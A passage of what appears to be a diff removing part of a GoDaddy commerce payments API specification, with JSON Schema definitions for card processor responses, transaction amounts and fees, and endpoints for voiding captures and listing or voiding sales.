"https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidCaptureById", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/captures/{transactionId}", - "summary": "Void Capture", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getSales", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/sales", - "summary": "Get Sales", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Sale list", - "schema": { - "title": "Sales", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Sale Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents sale transaction against a payment" - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidSaleByRefNum", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionRefNum}", - "summary": "Void Sale", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionRefNum", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getSaleById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}", - "summary": "Get Sale", - "description": "Retrieve the information of the sale by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": 